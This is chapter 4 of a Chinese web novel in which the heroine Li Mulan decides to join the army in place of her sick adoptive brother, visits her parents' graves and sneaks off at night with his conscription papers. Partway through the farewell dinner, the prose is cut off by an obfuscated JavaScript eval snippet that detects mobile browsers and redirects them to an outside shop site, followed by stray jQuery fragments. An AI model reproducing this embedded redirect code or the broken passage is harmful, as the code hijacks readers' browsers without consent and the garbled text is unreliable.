4. 第四章

作品:《我可不是娇滴滴的女王

    雪灾结束后,楚国并不太平。李家村地处边界,李木兰夏日割猪草的时候总是能听到塞外连绵不绝的号角声。


    而这一年已经陆陆续续强制征兵过几次了,村里人总怕下一个就轮到自己家,李木兰当下就有了不好的猜想。


    当李木兰背着竹篓急匆匆回到家中的时候,官兵们都已经走了,只留下大娘一脸灰败地坐在地上,她手里拿着一卷纸。


    她匆匆上前:“阿母!这是怎么了!!”


    “朝廷要征兵了,他们要无伤去参军了!这可怎么办是好!无伤去参军,他会死的!!”看到李木兰回来了,她仿若找到了主心骨,反复问如何是好。


    她将大娘扶起,安抚她道:“阿母,莫急,不是可以粮食抵兵役吗?县里那边是怎么说的?”


    “粮食……这次没有了,是强制征兵,这可如何是好。我们……我们去求县令老爷吧,让他看在我们孤儿寡母的份上,放过无伤。不!我们跑吧……”


    大娘如失了魂魄,嘴里开始胡言乱语。


    一阵虚弱但强势的声音从偏房传出,“我去便是,逃兵役是重罪!阿母,以后莫再胡言乱语。”仅是说这几句话,已经花费了他所有的力气,他额头直冒冷汗,咳得上气不接下气。


    李木兰面无表情地看着他们,不知道在想什么。她将大娘扶起,又去盛了碗热水给李无伤。


    “阿母、无伤阿兄,我们先吃午饭吧。有什么事,吃完再说。”


    李家,通常都是一日吃两顿饭。李木兰平日里最期待的就是晌午和傍晚吃饭的时候,今日却味同嚼蜡。


    三人如机械般进食,如若不是其间还伴随着李无伤咳嗽的声音,还以为三人已魂归西去了。


    寂静地可怕。


    饭后,李木兰与大娘窝在厨房里,她洗碗,大娘煎药。屋内只有碗筷碰撞发出的清脆声还有柴火燃烧噼里啪啦的声音,李木兰心下沉重,也不想开口说话。


    随着热水沸腾,渐渐传来了大娘压抑的哭声,她的呼吸与眼泪仿佛都要被她吞进喉咙,呜咽啜泣。


    李木兰心里发酸,忍住憋闷的胸口跑了出去。她知道,她都知道。大娘的相公去世很早,她独自艰难拉扯孩子长大。而李无伤身体又不好,秋冬季节尤为严重,稍有不慎便会咳嗽不止。朝廷强制他参军,不就是变相让他去送死吗?


    从前还能以粮抵兵役,雪灾后便战事频发,粮食也不顶用了。


    她到底能做什么?到底做什么才能阻止李无伤去送死。她在小溪边一下一下地扔着石子,还是不能发泄。


    凉风习习,吹动了她的发梢,李木兰坐在溪边,看到了小溪里自己的倒影。


    原身的长相与现代的自己极为相似,就是比自己高些,也更英气些。


    她伸出手,挡住了倒影的眉毛。单看眉毛之下,英气中竟带了丝俊秀感,倒像一个白净的少年。挪开手,将全脸漏出,少年气却少了一分,反而多了分清丽。


    如果,将眉毛涂黑涂粗呢?她是不是从外表看起来就是一个少年郎了?


    泥土和水捣成泥浆,指尖沾泥浆,从眉头涂至眉峰,再照水面,一个俊秀男儿瞬间成型。


    一个大胆的想法油然而生。


    我亦尚可是男儿郎。


    李木兰学生时代曾经背过一首诗——《木兰辞》。


    唧唧复唧唧,木兰当户织。


    不闻机杼声,唯闻女叹息。


    ……


    木兰无长兄……从此替爷征。


    谁曾想,未来的某一天她会效仿花木兰,替兄从军。


    ……


    李家村后山有一片坟地,这里埋葬了李家村祖祖辈辈的村民。可因为那场雪灾,李家村死的人无数,许多都是没有尸身就草草下葬的,棺材里独留一身衣服。


    原身的父母也埋葬在这里,当年为了守住他们的尸体不被盗走吃掉,她在这里足足睡了两个月,只为守着两位老人的尸体。


    李木兰带来了一些烧饼,这是她能拿出来的,最好的东西了。她虔诚的将它们整齐摆放在李木兰的阿母阿父坟前,还摘了一些小花放在上面。


    “阿母阿父,请允许我这样叫你们。之前一直不来正式祭拜你们,是因为我自认为我没有这个资格替真正的木兰祭拜,也许你们一家三口在下面也早就已经团圆了吧。”酝酿了许久,她才憋出一个自我介绍,她并非是煽情之人,很难说出什么温情话语。


    一片沉默,坟场上不会有人回答她。


    她又讪讪开口道:“额……我也不知道该说什么了。我这次前来,是和你们说一个消息的,今晚我就要启程赶往军营了。收留我的那家人很好,可是他们家里有一儿子,他有很严重的哮喘。木兰实在不忍心看到他死在战场上,所以,木兰打算替他从军了。阿母阿父你们不用担心,我会好好照顾自己的,也会好好照看这具身体,请你们在下面放心。”


    又是长久的停顿,她也不知道自己会在军营里待多久,还是否能活着回来,不敢再此妄下定论。


    她起身走近墓碑,整个人贴在了墓碑上,像一个初生的孩童环抱自己的父母一般。


    她低语道:“倘若我还能活着从军营里回来,我就那儿都不去了,就守着你们还有大娘一家好好过日子。”


    李木兰本就是一个积极过每一天的人,她不希望自己的军营生活开始就是哭哭啼啼的。她面带微笑着对着墓碑道别,踏着昏黄的落日离开了。


    她在乡间小道上行走,用双脚丈量着曾经生活过的田地,曾经洗过衣裳的河流,曾经打过野兽的后山。每一步每一寸,都是她的诀别。


    待到天彻底黑了下来,她才回到家中。


    大娘敞开着大门,看到李木兰推开木门回家的那一刻,心才彻底落了下来。她已经要失去无伤这个孩子了,断不能再失去木兰了。


    大娘在院中摆放着各种吃食,李木兰上前一看,竟有许多肉类,这可是过年都没有的待遇。可一想到大娘诀别一样的心态,她就知道,这是大娘作为母亲,给李无伤最后的东西了。


    今日风吹了起来,将本就如薄纸般脆弱的李无伤吹得更加脆弱,他屈着本就瘦弱的身子,来到了饭桌前。


    “大家都动筷吧,不要想太多,我们心情愉快的吃好每一顿!”李木兰吆喝道。


    大娘母子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991567|193736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都当她是在活跃气氛,两人都强装笑容,把最后一顿饭好好的吃了。


    吃饭是很重要的事情,这关乎了李木兰饭后的心情,对着食物,她都是格外虔诚的。在这个家,她是田地的掌管者,饭桌上的每一粒粟米都是她用汗水换来的,断不能敷衍对待。


    这是一顿毫无味觉的饭,亦是李无伤的断头饭,只有李木兰吃得格外香甜。


    饭后,李无伤将李木兰带到了月光下,他们静静地坐在小溪边,就这样默不作声。


    李木兰打破沉默:“阿兄,你这是作甚呀?把我带出来,又不说话。”


    李无伤深深地望着李木兰,眼底是不可道出口的深情,他轻叹一声,才开口道:“阿兄走后,木兰要好好照顾自己,要好好吃饭,莫要太过操劳。如果我去了以后,阿母太过伤心,你就好好安抚她,不要让她伤坏了身子……”


    “不会的!”李木兰打断了他遗言一般的发言,“阿兄,不要这样说,你会长命百岁的!”


    因为,我会替你去参军。


    李木兰打断了他的话之后,他也不知该如果再继续下去,看着满脸懵懂无知的李木兰,他气不打一处来,顿时有些恼羞成怒。


    他用指头轻点着李木兰的额头,语气里都是委屈:“你怎么什么不懂,真是要气死我!”但想到自己的身子,还有那不定的归期,他又像一个失败者一般:“我走后,你就好好找个待你好的男子,一定要比阿兄待你更好!明白吗?”


    李木兰抬头看了李无伤一眼,她突然扑进李无伤的怀里,像一个真正的妹妹一般。


    李无伤一愣,眼底都是柔情,将李木兰抱在了胸口处。


    他的怀里,抱着他的全世界。


    李木兰闷闷的声音从他怀里传来,“阿兄要好好照顾自己,冬天快到了,不要随便感冒。”


    “知道啦知道啦。”


    月光下,两兄妹在做最后的告别,微风吹过他们的衣角,水中倒影出两人相拥的影子。


    气氛悲凉而萧条。


    ……


    “咳咳咳,木兰你太大力了,阿兄快被你楼断腰了!!”


    “不好意思,不好意思,忘了我的力气。”


    ……


    随着大娘熟悉的鼻鼾声响起,李木兰才窸窸窣窣、蹑手蹑脚地起来,她从被窝里掏出从李无伤房中偷来的衣服换上,又轻手轻脚地走到大娘身边。


    摸索了许久,终于找到了那卷军书。没有这个文书,她无法去到军营里报道。


    “李延寿、李丽华之子……”


    原来,大娘叫李丽华,她的名字真好听。


    李木兰将军书卷成团,塞进布包里,这是她来李家村之前带来的唯一东西,现在也随着她走了。


    突然,一记声音传来,是她转身不小心碰到了桌角。她瞬间心跳如雷,冷汗直冒,立刻看向了李丽华的方向。而她只是翻了一个身,继续响起了鼻鼾声。


    她腾空的心瞬间又落到了地上。


    好在没醒,好在没醒。


    李木兰转身,要开房门出去。


    身后却突然传来了李丽华的声音:“你要去哪里?”